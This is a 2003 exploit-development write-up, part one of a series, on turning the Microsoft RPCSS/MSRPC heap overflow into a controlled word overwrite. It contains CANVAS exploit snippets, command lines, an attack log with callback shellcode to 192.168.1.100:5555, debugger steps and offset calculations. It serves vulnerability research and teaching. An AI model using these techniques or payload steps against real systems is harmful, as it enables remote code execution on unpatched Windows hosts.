Exploiting the MSRPC Heap Overflow – Part I

Dave Aitel

Sep 11, 2003

Illustration 1Polyphemus Moth

This little documentary chronicles the last moments of another beautiful moth, stuck somewhere between the two live electrical cords of security and freedom. In particular, this is my look at how to exploit the latest Microsoft RPCSS bug.

Let's just assume you already know that the vulnerability is the IRemoteActivate call with a string of \\short\share\long. In CANVAS this is easily represented in the following code of msrpcheap.py, which is copied directly from ms03026.py, and then slightly modified:

attackstr=backwardsunistring("\\\\192.168.1.112\\IPC$\\")

attackstr+=self.char*self.length

To examine this vulnerability, we added a few options to the command line which can manipulate self.char and self.length. -C specifies the character string to use (self.char) and -L specifies self.length.

Here's a sample command line that you could use to test for the existence of the overflow. We're testing against an unpatched Windows 2000 SP3 box for convenience sake.

exploits/msrpcheap/msrpcheap.py -v 14 -t 192.168.1.112 -l 192.168.1.100 -d 5555 -C "A" -L 4000

Above is a screenshot of the results, as Ollydbg would see it. We've caused an access violation on a read which you control. However, this loop (and I speak from experience here) is a big pain in the shorts to exploit. You don't want to be here – you want to be in a place where you control the source and destination to overwrite a single word, as in Halvar's original heap overflows for Win32 talk. If you look three frames up on the stack you'll see that you got here via a call to HeapAlloc from RPCRT4.

So what you'll invariably do now, is try different size strings and see what you get. However you'll find that no matter what size string you use, you'll get the same result once you make it big enough to crash. You'll also find that trying to find the size of the buffer by varying this length is like trying to find the depth of quicksand. Each run of the exploit seems to generate it's own buffer size, as memory allocations move the heap state around.

As an important note, I'm writing this exploit in VMWare, which allows me to attach to the process with Ollydbg, then take a snapshot, run the exploit, and then revert to the previous snapshot. Rebooting or restarting the service can be time consuming.

So now we're going to look at some better ways to analyze heap overflows. First we will look at how to set a watchpoint in Ollydbg. This can be a useful feature for many purposes.

Go to View->Executable Modules

Then sort the window by module name

Then right click on ntdll and go to “view names”

Then type “rtlallocate” and see it go to rtlallocateheap.

Right click on that and go to “conditional log breakpoint”

Now, when this function is called, the size argument is going to be at esp+c. We'll put that into the box and call it size. For many functions Ollydbg will already know what the arguments are, but in this case it doesn't.

Clicking “Always” for “log value of expression” will make Ollydbg breakpoint on the function entry, and then log the value you have asked for in the log window. You'll see a little purple entry on the function name now. If you need to get back here, you can always re-view the module names, or go to view-> breakpoints from the menu-bar.

Now we'll hit F9 in Ollydbg to continue the process. You'll notice VMWare will now take up your entire CPU and your computer will become very slow. I don't know of a fix for this. Annoyingly, sometimes the process will become very confused now, and exit. Generally this is because there are timeouts occurring and when you set a logpoint, each memory allocation is going to cause a breakpoint to be hit, some processing by Ollydbg to be done, and so on. This takes a long time, so the timeouts happen, and the process thinks something is seriously wrong. Just click “revert” in your VMWare window if this happens and try again. This shouldn't be a problem if you're running Ollydbg on native hardware instead of in a virtual machine, but then you can't revert.

Our string size in hex is:

[dave@www CANVAS3]$ python -c 'print "%x"%4000'

fa0

If you look at the screenshot below, you'll see where my best guess for when we get allocated is! It's very likely that sometime soon after that, the overflow occurred as our buffer got copied into a heap buffer somewhat smaller than 0xfa0 bytes long. (My personal guess is the 0x21a buffer, as you'll see below). You could tell your conditional breakpoint to break whenever [esp+c]==0xfa0, if you want to trace back to where that call comes from. Hit Control-L to see the Log View.

Ok, although we have some kind of idea where we are being handled, we don't necessarily know how to make this a nice reliable word-overwrite. No matter how long you make this buffer, you still get stuck in that infernal loop! Sometimes you won't trigger the bug at all, and then you'll eventually trigger it with a very large or small string, but either way, it's still stuck in the loop of pain.

Now, one way to solve this is to go through, find out EXACTLY where the overwrite is occurring, then track every memory allocation after that, and see how you can manipulate it. Of course, you only get one shot at this exploit, so you'll have to predict heap state quite well! Perhaps there is some magic sequence of lengths that will get you the right allocation/free ration to end up calling a different code path in ntdll's rtlallocate routines, and get you to the magic word-overwrite.

There is an easier solution though, which is to think a bit laterally.

There's lots of ways to trigger allocations. You don't have to use IremoteAllocate. What else does this process do? Well, it does LOTS of things, but I chose to tickle the endpoint mapper. So now my attack looks like this:

Send a very long string, but not so long that the process crashes right away

Try to get an endpoint mapper dump from the target (see dcedump from SPIKE or CANVAS)

[dave@www CANVAS3]$ exploits/msrpcheap/msrpcheap.py -v 14 -t 192.168.1.112 -l 192.168.1.100 -d 5555 -C "A" -L 800

Running MSRPC MS0-026 exploit v 0.1

Calling back to 192.168.1.100:5555

Generating typical Win32 shellcode

len rawshellcode = 639

Encoding shellcode. This may take a while if we don't find a good value in the cache.

Size of chunk is 43 key is 0x1b67fd1b

Size of chunk is 74 key is 0x3c9f1b25

Size of chunk is 40 key is 0x1b67fd1b

Size of chunk is 3 key is 0x6f9a0ac1

Encoder is Splitting: 9065f53f

Split 9065f53f into 31886923:5edd8c1c

Done encoding shellcode.

length of real shellcode: 747

Running attack

Attacking version Windows NT 4.0 SP4,SP6a

Sending attack buffer

Done sending attack buffer.

Now sending dcedump request

Done with exploit

Now sleeping so the sockets stay open! Close me with control-C when you are completely done.

Traceback (most recent call last):

File "exploits/msrpcheap/msrpcheap.py", line 714, in ?

time.sleep(10000)

KeyboardInterrupt

[dave@www CANVAS3]$ ./dcedump.py -t 192.168.1.112

Running CANVAS dcedump v 1.0

<hit control C here, since Ollydbg will be broken on Access Violation exception>

Now that we have a reliable exception happening our next question is where in our string are the values from ESI and ECX coming from? If you look in the disassembly, you'll see a mov esi, [eax + c] that fills esi with the value we control.

As you can see from the screenshot, EAX points to a copy of our string which starts at 0xccd8c. EAX is 0xccf98. Simple subtraction says that :

[dave@www CANVAS3]$ python -c 'print "%d"%(0xccf98+0xc-0xccd8c)'

536 #This number may be a bit off, test it and make sure you're dead on

So ~536 bytes into our buffer is esi and four bytes before that that is ECX.

Rock on!

Let's mod our exploit to take advantage of that fact.

#Somewhere in msrpcheap.py. . .

attackstr=”A”*700

heapLOC=534

where=0x41020304

what=0x41060708

attackstr=stroverwrite(attackstr,intel_order(what)+intel_order(where),heapLOC)

attackstr=backwardsunistring("\\\\192.168.1.112\\IPC$\\")+attackstr

As you can see we now control ecx and esi exactly. This is the first step towards world domination, or perhaps just another remote exploit that will get wormed into non-existence in a few days.

Now if we were Brett Moore, we could probably manipulate the stack enough to write an entire shellcode somewhere and then jump to it. However, I'm not that enterprising tonight.

Disassembling SetUnhandledExceptionFilter() (or asking CANVAS's library of such things) we see that the Unhandled Exception Pointer for this version of Windows is at 0x77ee044c. Normally I wouldn't use this but the very next thing the process is going to do is crash, so we'll use it this time. CANVAS will soon contain the ability to remotely fingerprint down to the service pack a Win32 box, so it's not a problem for us that this value is service pack dependent.

At this point we have several options. And I'm sad to admit that after a few hours of work on this, I'm a bit burnt out and a bit stuck. A fresh look is needed, and perhaps after reading this again tomorrow morning I'll have the last few pieces of the puzzle.

Update:

Don't forget to read part II from http://www.immunitysec.com/papers/ !

2003-09-11T15:07:00